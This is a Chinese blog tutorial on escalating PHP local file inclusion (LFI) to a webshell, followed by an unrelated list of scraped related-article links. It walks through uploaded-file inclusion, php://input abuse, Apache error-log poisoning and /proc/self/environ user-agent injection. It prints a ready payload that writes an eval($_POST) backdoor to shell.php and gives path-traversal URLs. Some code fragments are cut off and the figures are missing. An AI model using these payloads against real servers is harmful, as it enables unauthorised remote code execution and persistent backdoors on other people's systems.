Author:LengF   Blog:www.81sec.com

0x00 题外话

关于PHP中LFI(Local File Include,本地文件包含)漏洞很多朋友都不是很熟悉,其实网络上有很多这方面的资料,特别说国外的paper。虽然很多资料讲得不是很详细,但是大家都懒得去测试,本文就给大家总结下,并讲述完整的利用方法。[separator]

0x01 LFI的GETSHELL思路

在讲述如何利用LFI来或者webshell之前,不得不提醒大家php5.3.4中截断的bug已经修复了,所以在一些情况下不能成功利用也不要奇怪。

1.包含上传文件

只要目标服务器支持上传,不管是jpg,txt,gif等都可以,在其中包含一句话木马即可,这种方法很简单没什么可说的。

2.包含data:// 或者php://input 伪协议

利用该方法的前提是php.ini中allow_url_include=On,另外必须支持php://filter伪协议

我们来尝试这样一种情况,假设有文件包含漏洞代码如下:

$query=$_GET[‘p’];

Include($query);

?>

在allow_url_include=On就是远程文件包含了,假设这里为off,那就只能本地包含了。那么我们如何利用,我们就来谈谈利用PHP Input/Ouput Wrapper获取webshell了。我给大家写了一个利用程序,如图01:

这个漏洞的利用就到此了。这个漏洞对于php5.0以下有效,5.3测试失败,其他大家自行总结。还是比较鸡肋,不过不亏为一种好思路。

3.日志包含log日志文件

日志包含,这个还是比较实用的,一般apache或者其他的日志都会比较大,而我们为什么能通过日志getwebshell?比如apache,当我们访问一个网站的网页时,页面出错,服务器会记录访问的连接地址,如果我们带入恶意的代码那么这个就会被包含在日志文件中。所以我们一般的利用步骤是:

首先访问一个不可能存在页面并且携带恶意代码,比如邪恶代码为:

<?php fputs(fopen("/www/shell.php","W+"),"<?php eval($_POST[a]?>";?>

将它转换为url编码,然后访问

http://www.81sec.com/+urlencode(邪恶代码)

这个页面肯定不存在,那么在错误日志中就会形成一条这样日志,接下来,我们就包含这条日志:

http://www.81sec.com/test.php?p= ... pache/www_error.log

apache路径需要自己去猜解,我这里只是给个实例,访问后就会生成一个shell了。

4.包含/proc/self/environ环境变量

个是利用Linux中的环境变量作为基础,很多时候这个方法行不通,因为没有/proc/self/environ的访问权限.同读取/etc/passwd一样,如果

你访问/proc/self/environ有如图02:

看到这个代码就知道为什么利用这个Linux的环境变量,这里会有用户访问web的session信息,其中也会包含user-agent的参数,这个参数你浏览器名称的参数。而这个参数在我们客户端是可以修改的。

对于上面的LFI代码,我们可以这样利用:

http://www.81sec.com/test.php?p=../../../../proc/self/environ

如果能得到上图类似的内容说明有权限,就可以利用下面的方法得到webshell,我将两种方法。

方法一:借助firefox的插件user agent switch利用方法很简单也很方便。我们先构造好自己的邪恶代码:

-O shell.php');?>

php Wrapper LFI,PHP安全之LFI漏洞GetShell方法大阅兵相关推荐

  1. java中xxe漏洞修复方法

    java中禁止外部实体引用的设置方法不止一种,这样就导致有些开发者修复的时候采用的错误的方法 之所以写这篇文章是有原因的!最早是有朋友在群里发了如下一个pdf, 而当时已经是2019年1月末了,应该不 ...

  2. 小心!智能合约再爆高危漏洞,两大加密货币直接变废纸!

    小心!智能合约再爆高危漏洞,两大加密货币直接变废纸! 大家都还记得,前一段时间发生的BEC智能合约的安全漏洞问题.近日,智能合约安全问题再次上演,火币Pro发布公告,暂停EDU冲提币业务,随后EDU智 ...

  3. 哪种修复redis未授权访问漏洞的方法是相对不安全的_关于Linux挖矿、DDOS等应急事件处置方法...

    前言 从去年六月份到现在做的应急响应.事件分析大大小小的做了数百个,主要遇到的有挖矿.DDoS.短信接口盗刷.用户接口泄漏.越权信息获取.挂黑页.删数据等.本文只针对自己做的应急响应中的挖矿和DDoS ...

  4. SQL注入漏洞解决方法

    本文只指针编码层次的SQL注入漏洞解决方法,例子代码是以java为主. 1,参数化的预编译查询语句 不安全例子 String query = "SELECT account_balance ...

  5. CentOS bug修复指令集(阿里云漏洞修复方法)

    阿里云服务器经常会提示有漏洞,如 RHSA-2018:0423: kernel security, bug fix, and enhancement update (Moderate),如何修复呢?可 ...

  6. 记某CMS漏洞getshell

    记极致CMS漏洞getshell 今天下午比较空闲,就去搜索一些cms,突然对极致CMS感兴趣,而网上已经有一些文章对它进行分析利用,sql注入,xss,后台修改上传后缀名前台getshell等等. ...

  7. linux nmap下载教程,Linux_在Linux系统上用nmap扫描SSL漏洞的方法,以下载nmap 6.45及以上版本。如 - phpStudy...

    在Linux系统上用nmap扫描SSL漏洞的方法 以下载nmap 6.45及以上版本.如果懒的重新安装,可以直接下载ssl-heartbleed.nse 脚本. 使用nmap 6.45扫描服务器心脏出 ...

  8. mysql 漏洞如何修复_Mysql漏洞修复方法思路及注意事项

    [系统环境] 系统环境:Red Hat Enterprise Linux Server release 5.4 (Tikanga)+  5.7.16 MySQL Community Server (G ...

  9. intel服务器修复两个漏洞,英特尔处理器漏洞怎么修复 Intelcpu漏洞修复方法

    英特尔处理器漏洞怎么修复?这一次由Intel服务器CPU产品诱发的安全事故现在规模正式扩大,不少玩家朋友们都非常担忧,下面我们就来分享一下Intelcpu漏洞修复方法一览,希望对各位有所参考和帮助. ...

最新文章

  1. python 给定URL 如何获取其内容,并将其保存至HTML文档。
  2. WC2007 石头剪刀布 数学+最小费用最大流
  3. 后端技术:MyBatis 批量插入的 3 种写法
  4. WMS请求GetCapabilities,变成下载mapserv.exe解决办法
  5. 【实验】修改数据文件名字的三种途径
  6. PaddlePaddle Softmax回归示例
  7. 小米进军欧洲智能手机市场:一面是狂欢,一面是考验
  8. Java新闻发布系统源码
  9. python pdfminer的功能_使用Python pdfMiner提取每页文本?
  10. 使用Python求解一元二次方程
  11. 计算机网络双绞线和交叉线的区别,交叉线-什么是交叉线、直通线和双绞线?各有什么区别 – 手机爱问...
  12. 让python pip使用国内镜像安装模块
  13. Win7下硬盘安装Ubuntu-16.04 LTS教程
  14. shell技巧4 - nm命令解决AppStore2.5.2被拒问题
  15. Python 饼图
  16. fatal: ‘origin‘ does not appear to be a git repository
  17. linux 定位 踩内存_记录一次用户态踩内存问题
  18. python 表示2的n次方
  19. linux当中shadow文件的作用,解释Linux中passwd与shadow文件
  20. 关于液晶显示器的6bit面板、8bit面板及E-IPS(转)

热门文章

  1. Mybatis怎么怎么获取刚insert后生成的ID(探索selectKey)
  2. Google Adsense账号快速申请教程(网赚)
  3. getattr使用方法
  4. 锁相环(倍频,分频,利用开发板固有频率+内部专用电路 产生特定需求的时钟信号)
  5. win10任务栏出现无法删除的空白块
  6. 高校房产管理系统用到了哪些技术?
  7. [118题+解析] Python面试题
  8. 面试题:JavaEE项目中,你准备如何解决高并发问题?比如1000万人同时登录。作者——DengJun
  9. 这一次,彻底搞懂箭头函数
  10. 安卓底层linux开发教程,Android手机平台移植与底层开发 PDF